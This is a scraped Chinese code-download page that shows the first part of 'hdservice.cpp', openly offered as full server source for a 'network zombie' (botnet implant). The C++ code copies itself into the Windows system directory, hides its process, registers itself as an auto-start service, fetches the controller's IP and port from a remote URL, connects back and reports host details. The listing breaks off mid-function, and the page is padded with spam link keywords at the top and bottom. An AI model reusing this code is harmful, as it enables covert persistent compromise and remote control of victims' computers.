亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? hdservice.cpp

?? 網絡僵尸 服務端完整源代碼很好的東西哦
?? CPP
?? 第 1 頁 / 共 3 頁
字號:
// HDService.cpp : Defines the entry point for the console application.
//
//網絡僵尸服務端代碼 作者:教主  www.jiaozhu.net
//請保留作者版權
#include "stdafx.h"
#include "HDService.h"
#include "winsock2.h"
#include "winsvc.h"
#include "windows.h"
#include "afxinet.h"
#include "HideProcess.h"
//#include "shellapi.h"


#define WM_SOCKET WM_USER+1000
#define SEQ 0x28376839
#define FAKE_IP "10.156.124.1"		//偽裝IP的起始值,本程序的偽裝IP覆蓋一個B類網段 
#define ServiceName "www.jiaozhu.net"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;

using namespace std;
SERVICE_STATUS service_status_ss;
SERVICE_STATUS_HANDLE handle_service_status;
SC_HANDLE scm,svc;
SOCKET	sock_client;
char systeminfor[256];
HANDLE ghThread;
HWND hWnd;
BOOL gbIsNT;
char ipfile[256];//ip文件
char installname[256]; //exe文件名稱

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

	Readme();
	//::MessageBox(NULL,ipfile,NULL,MB_OK);
	//::MessageBox(NULL,installname,NULL,MB_OK);
	//Readme();
	//return -1;
	//UninstallService();
	//return -1;
	int nRetCode = 0;
	gbIsNT=FALSE;
	//****************************************//自刪除
	char CurrDirBuff[256];
	char SysDirBuff[256];
	int DirLen=sizeof(CurrDirBuff);	
	::GetCurrentDirectory(DirLen,CurrDirBuff);
	::GetSystemDirectory(SysDirBuff,sizeof(SysDirBuff));
	//SaveLogToFile("out");
	if (_stricmp(CurrDirBuff,SysDirBuff)!=0)
	{
		//SaveLogToFile("in");
		//::MessageBox(NULL,"winmain",NULL,MB_OK);
		char filename[256];
		char This_File[MAX_PATH];
		strcpy(filename,SysDirBuff);
		strcat(filename,"\\");
		strcat(filename,installname);
		memset(This_File,0,sizeof(This_File));
		GetModuleFileName(NULL, This_File, sizeof(This_File));
		if(::CopyFile(This_File,filename,FALSE)==0)	return -1;
		PROCESS_INFORMATION pinfo;
		STARTUPINFO sinfo;		
		memset(&pinfo,0,sizeof(pinfo));
		memset(&sinfo,0,sizeof(sinfo));	
		//SaveLogToFile("uninstall()");
		uninstall();
		//ShellExecute(NULL,"open",filename,NULL,SysDirBuff,SW_HIDE);
		CreateProcess(filename,NULL, NULL, NULL,TRUE,0, NULL,SysDirBuff, &sinfo, &pinfo);
		//SaveLogToFile("CreateProcess()");
		ExitProcess(0);
	}

	//******************************//創建互斥對象
	//HANDLE hMutex=::CreateMutex(NULL,FALSE,"HDServer");
	//if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
	//******************************//取操作系統類型
	DWORD dwVersion=::GetVersion();
	// 得到操作系統的版本號
	if(dwVersion >= 0x80000000)
	// 操作系統是Win9x,不是WinNt
	{
		typedef DWORD(CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
		//定義RegisterServiceProcess()函數的原型
		HINSTANCE hDLL;
		LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
		hDLL=LoadLibrary("KERNEL32");
		//加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
		lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
		//得到RegisterServiceProcess()函數的地址
		lpRegisterServiceProcess(GetCurrentProcessId(),1);
		//執行RegisterServiceProcess()函數,隱藏本進程
		FreeLibrary(hDLL);
		//卸載動態鏈接庫
	}else
	{
		gbIsNT=TRUE;
	}

	if (gbIsNT)
	{
		//隱藏進程
		HideProcess();
		/*******************************************/
		//服務入口表
		SERVICE_TABLE_ENTRY	service_tab_entry[2];
		service_tab_entry[0].lpServiceName=ServiceName;	//線程名字
		service_tab_entry[0].lpServiceProc=ServiceMain;	//線程入口地址
		//可以有多個線程,最后一個必須為NULL
		service_tab_entry[1].lpServiceName=NULL;
		service_tab_entry[1].lpServiceProc=NULL;
		

		if (StartServiceCtrlDispatcher(service_tab_entry)==0)
		{
				//int i=::GetLastError();
				//char aa[3];								
				//::MessageBox(NULL,itoa(i,aa,10),NULL,MB_OK);
				InstallService();								
		}
		
		
	
		
	}
	else
	{
		start();
	}
	return nRetCode;
}
/***********************************************/
//服務的真正入口點函數
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)
{
	service_status_ss.dwServiceType=SERVICE_WIN32;
	service_status_ss.dwCurrentState=SERVICE_START_PENDING;
	service_status_ss.dwControlsAccepted=SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
	service_status_ss.dwServiceSpecificExitCode=0;
	service_status_ss.dwWaitHint=0;
	service_status_ss.dwCheckPoint=0;
	service_status_ss.dwWin32ExitCode=0;
	if ((handle_service_status=RegisterServiceCtrlHandler(ServiceName,Handler))==0)
	{
	
		//::MessageBox(NULL,"RegisterServiceCtrlHandler error",NULL,MB_OK);
	}//一個服務對應一個控制處理器
	service_status_ss.dwCurrentState=SERVICE_RUNNING;
	service_status_ss.dwWaitHint=0;
	service_status_ss.dwCheckPoint=0;
	::SetServiceStatus(handle_service_status,&service_status_ss);
	
	//::MessageBox(NULL,"start","tell",MB_OK);
	start();

	return ;
}
/***********************************************/
//服務控制器
void WINAPI Handler(DWORD dwControl)
{
		switch(dwControl)
		{
			case SERVICE_CONTROL_STOP:
				service_status_ss.dwCurrentState=SERVICE_STOPPED;
				::SetServiceStatus(handle_service_status,&service_status_ss);
				break;
			case SERVICE_CONTROL_CONTINUE:
				service_status_ss.dwCurrentState=SERVICE_RUNNING;
				::SetServiceStatus(handle_service_status,&service_status_ss);
				break;
			case SERVICE_CONTROL_PAUSE:
				service_status_ss.dwCurrentState=SERVICE_PAUSED;
				::SetServiceStatus(handle_service_status,&service_status_ss);
				break;
			case SERVICE_CONTROL_INTERROGATE:
                  break;
				
		}
		::SetServiceStatus(handle_service_status,&service_status_ss);

}
/***********************************************/
void InstallService()
{
	char szSysDir[256];
	memset(szSysDir,0,sizeof(szSysDir));
	::GetSystemDirectory(szSysDir,sizeof(szSysDir));
	strcat(szSysDir,"\\");
	strcat(szSysDir,installname);
	scm=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	if (scm!=NULL)
	{
		

		svc=::CreateService(scm,ServiceName,ServiceName,SERVICE_ALL_ACCESS,
				SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
				SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,szSysDir,NULL,NULL,NULL,NULL,NULL);

					
		svc=::OpenService(scm,ServiceName,SERVICE_START);	
		if (svc!=NULL)
		{
				 
				
					::StartService(svc,0,NULL);
					::CloseServiceHandle(svc);
				

		}
		::CloseServiceHandle(scm);
	}
	

}

/***********************************************/
void UninstallService()
{
	scm=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	if (scm!=NULL)
	{
		svc=::OpenService(scm,ServiceName,SERVICE_ALL_ACCESS);
		if (svc!=NULL)
		{
			::DeleteService(svc);
			::CloseServiceHandle(svc);
		}
	
		::CloseServiceHandle(scm);
	}
	


}
/************************************************/
int start()
{
	int ErrorCode;	
	WSADATA WsaData;
	struct sockaddr_in DestAddr;	//上線地址結構
	char url[256];

	MSG msg;
	WNDCLASS wndc;
	LPSTR szAppName="HDService";
	wndc.style=0;
	wndc.lpfnWndProc=WndProc;
	wndc.cbClsExtra=0;
	wndc.cbWndExtra=0;
	wndc.hInstance=NULL;
	wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
	wndc.hCursor=LoadCursor(NULL,IDC_ARROW);
	wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
	wndc.lpszMenuName=NULL;
	wndc.lpszClassName=szAppName;
	RegisterClass(&wndc);
	hWnd=CreateWindow(szAppName,"HDos",
	WS_OVERLAPPEDWINDOW,
	CW_USEDEFAULT,CW_USEDEFAULT,
	CW_USEDEFAULT,CW_USEDEFAULT,
	NULL,NULL,NULL,NULL);
	ShowWindow(hWnd,SW_HIDE);
	UpdateWindow(hWnd);
	//****************************************
	memset(url,0,sizeof(url));
	strcpy(url,strlwr(ipfile));
	//::MessageBox(NULL,url,NULL,MB_OK);
	//strcpy(url,"http://192.168.1.111/ip.jpg");
	char html[256];					//獲取的網頁
	char ClientIP[16];				//客戶端ip
	char ClientPort[5];				//客戶端端口
	char *point;					//指針
	char ComputerName[256];			//計算機名
	char MemorySize[20];			//內存大小
	char SendBuff[256];				//發送緩存
	char OsName[64];				//操作系統類型
	//******************************************
	switch(GetOS())
	{
	case VER_PLATFORM_WIN32_WINDOWS:	
	lstrcpy(OsName,"Windows 9x");
	RegMe();
	break;
	case VER_PLATFORM_WIN32_NT:
	lstrcpy(OsName,"Windows NT/2000/XP");
	break;
	}
	//******************************//取計算機名
	memset(ComputerName,0,sizeof(ComputerName));
	DWORD len=sizeof(ComputerName);
	if ( !GetComputerName(ComputerName,&len)) return -1;
	//******************************//取內存大小
	MEMORYSTATUS mem;
	mem.dwLength=sizeof(mem);
	GlobalMemoryStatus(&mem);
	memset(MemorySize,0,sizeof(MemorySize));
	strcpy(MemorySize,itoa(mem.dwTotalPhys/1024/1024+2,MemorySize,10));
	//******************************//獲取網頁內容
	
	memset(html,0,sizeof(html));
	strcpy(html,strlwr(GetHttpFile(url)));
	//MessageBox(NULL,html,NULL,MB_OK);
	//*****************************//獲取客戶端ip和端口
	point=html;
	if(strstr(html,"http://jiaozhu")!=NULL)
	{
			point=point+strlen("http://jiaozhu");
	}
	if(strstr(point,":")!=NULL)
	{
		memset(ClientIP,0,sizeof(ClientIP));
		strncpy(ClientIP,point,strcspn(point,":"));
		point=point+strcspn(point,":")+1;

		if(strstr(point,"end")!=NULL)
		{
		memset(ClientPort,0,sizeof(ClientPort));
		strncpy(ClientPort,point,strcspn(point,"end"));
		}
	}
	//::MessageBox(NULL,ClientIP,NULL,MB_OK);
	//::MessageBox(NULL,ClientPort,NULL,MB_OK);
	//*************************************************
	HANDLE hThread;
	unsigned long uiThreadID=0;
	CLIENTPARA *clientpa;
	try
	{
	if((ErrorCode=WSAStartup(MAKEWORD(2,2),&WsaData))!=0)
		{
		return -1;		
		}
	sock_client=::socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if (sock_client==INVALID_SOCKET)
	{
		return -1;
	}
	//上線地址結構
	memset(&DestAddr,0,sizeof(DestAddr)); 
	DestAddr.sin_family=AF_INET; 
	DestAddr.sin_addr.s_addr=inet_addr(ClientIP); 
	DestAddr.sin_port=htons(atoi(ClientPort));
	//while (1)
	{
	
			
			if(connect(sock_client,(sockaddr*)&DestAddr,sizeof(DestAddr))==SOCKET_ERROR )
			{
				Sleep(3000);		
			}
			//連接上線
			memset(SendBuff,0,sizeof(SendBuff));
			strcat(SendBuff,"<CMD>000</CMD><CPNAME>");
			strcat(SendBuff,ComputerName);
			strcat(SendBuff,"</CPNAME><OSNAME>");
			strcat(SendBuff,OsName);
			strcat(SendBuff,"</OSNAME><MEM>");
			strcat(SendBuff,MemorySize);
			strcat(SendBuff,"</MEM>");
			strcat(SendBuff,"\r\n");
			memset(systeminfor,0,sizeof(systeminfor));
			strcpy(systeminfor,SendBuff);
			if (SOCKET_ERROR!=send(sock_client,SendBuff,sizeof(SendBuff),0))
			{

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
天天操天天干天天综合网| 日韩在线卡一卡二| 亚洲成人久久影院| 国产乱淫av一区二区三区| 一本色道久久综合精品竹菊| 欧美一区二区久久久| 国产精品一区二区91| 香蕉影视欧美成人| 一区二区三区日韩| 国产一区二区三区四区在线观看| 精品视频在线视频| 国产精品福利影院| 黄色成人免费在线| 在线播放一区二区三区| 亚洲免费av在线| 国产九色sp调教91| 精品免费视频.| 日韩在线观看一区二区| 色综合久久久久久久| 国产免费成人在线视频| 精油按摩中文字幕久久| 7777精品伊人久久久大香线蕉的 | 综合电影一区二区三区| 欧美另类高清zo欧美| 亚洲成va人在线观看| 国产精品免费久久久久| 亚洲欧美日韩电影| www.亚洲国产| 国产女主播在线一区二区| 老司机精品视频线观看86| 欧美一区二区高清| 男男gaygay亚洲| 91精品久久久久久久99蜜桃 | 久久久国产精品麻豆| 免费观看一级特黄欧美大片| 欧美电影影音先锋| 亚洲成人一二三| 欧美亚洲国产一区二区三区va| 亚洲色图制服丝袜| 91在线观看下载| 国产欧美精品区一区二区三区| 麻豆国产91在线播放| 一级日本不卡的影视| 国产精品女同互慰在线看| 国产乱一区二区| 中文字幕精品一区二区三区精品| 激情综合网激情| 久久精品免费在线观看| 国产宾馆实践打屁股91| 亚洲欧洲99久久| 色菇凉天天综合网| 亚洲成人资源网| 日韩欧美中文字幕公布| 久久国产人妖系列| 久久久久99精品一区| av一区二区三区| 亚洲影院理伦片| 欧美xxxxxxxx| 99国产精品一区| 亚洲不卡av一区二区三区| 在线播放91灌醉迷j高跟美女 | 蜜桃精品在线观看| 高清国产一区二区| 亚洲三级视频在线观看| 99久久国产综合精品女不卡| 夜夜爽夜夜爽精品视频| 欧美一区二区福利视频| 成人禁用看黄a在线| 亚洲综合av网| 精品国产乱码久久久久久1区2区 | 成人免费不卡视频| 性做久久久久久免费观看欧美| 欧美大片一区二区三区| 99久久精品免费看国产| 亚洲成人在线免费| 国产精品久久一卡二卡| 欧美久久久久免费| 成人的网站免费观看| 午夜欧美大尺度福利影院在线看| 国产亚洲午夜高清国产拍精品| 91精品办公室少妇高潮对白| 亚洲欧美精品午睡沙发| 99国产精品视频免费观看| 欧美成人vr18sexvr| 99精品桃花视频在线观看| 日韩av在线发布| 最新日韩在线视频| 精品久久久久久最新网址| 欧美性受xxxx| 成人av电影免费观看| 看电影不卡的网站| 亚洲成人中文在线| 中文字幕一区二区三中文字幕| 欧美日韩一级二级三级| 久久先锋影音av鲁色资源| 欧美性xxxxx极品少妇| 狠狠色丁香九九婷婷综合五月| 亚洲欧洲av在线| 精品久久一区二区| 日韩一二三四区| 99国产精品久久| 九一久久久久久| 亚洲妇女屁股眼交7| 国产亚洲欧美一区在线观看| 欧美精选一区二区| 日韩欧美国产精品| 五月婷婷久久综合| 精品伊人久久久久7777人| 亚洲久本草在线中文字幕| 91精品欧美一区二区三区综合在| 国产在线精品一区二区三区不卡| 日韩电影在线免费看| 自拍偷拍亚洲激情| 国产精品丝袜黑色高跟| 欧美成人一区二区| 精品国产a毛片| 在线播放欧美女士性生活| 91蜜桃网址入口| 国产盗摄视频一区二区三区| 日韩精品高清不卡| 国产欧美精品一区| 欧美一区二区三区白人| 欧美日韩国产一区| 色婷婷久久一区二区三区麻豆| 免费在线观看不卡| 久久99精品国产麻豆婷婷| 亚洲福利一区二区三区| 亚洲码国产岛国毛片在线| 一区二区中文字幕在线| 欧美韩国日本一区| 久久精品男人的天堂| 欧美视频中文一区二区三区在线观看| 99久久久国产精品| 欧美日韩精品欧美日韩精品一| 色婷婷综合久久| 99国产精品国产精品久久| av中文字幕不卡| www.99精品| 欧美日韩视频在线第一区 | 日韩精品免费视频人成| 亚洲综合久久久| 一区二区激情小说| 亚洲精品少妇30p| 洋洋成人永久网站入口| 亚洲欧美日韩精品久久久久| 一区二区三区在线视频观看| 亚洲激情网站免费观看| 亚洲精品美腿丝袜| 六月丁香婷婷久久| 国产精品一色哟哟哟| 国产999精品久久久久久| 成人美女在线视频| 色综合激情久久| 国产成人一区二区精品非洲| 一本色道久久综合亚洲精品按摩| 欧洲av一区二区嗯嗯嗯啊| 7777精品伊人久久久大香线蕉 | 亚洲v中文字幕| 三级不卡在线观看| 日韩中文字幕一区二区三区| 国产精品一区二区三区四区| 丰满少妇在线播放bd日韩电影| 久久电影网电视剧免费观看| 日韩va亚洲va欧美va久久| 韩国v欧美v日本v亚洲v| 成人黄色免费短视频| 欧美性受xxxx黑人xyx性爽| 日韩视频在线永久播放| xfplay精品久久| 成人免费一区二区三区视频| 日日夜夜免费精品视频| 国产xxx精品视频大全| 色综合久久中文综合久久97| 欧美亚洲一区二区在线观看| 日韩免费看的电影| 91美女视频网站| 亚洲精品美国一| 欧美xxxxx牲另类人与| 欧美日韩午夜在线| 在线播放中文字幕一区| 国产在线国偷精品免费看| 一本到不卡精品视频在线观看| 精品视频资源站| 久久久不卡影院| 麻豆精品国产91久久久久久| 99久久精品一区二区| 欧美成人三级在线| 亚洲一二三级电影| 日本三级亚洲精品| 972aa.com艺术欧美| 2024国产精品| 日韩精品每日更新| 色一情一伦一子一伦一区| 国产精品福利一区| 麻豆精品视频在线| 欧美丝袜丝nylons| 综合分类小说区另类春色亚洲小说欧美| 亚洲高清免费一级二级三级| 91久久精品一区二区三区| 国产日韩影视精品|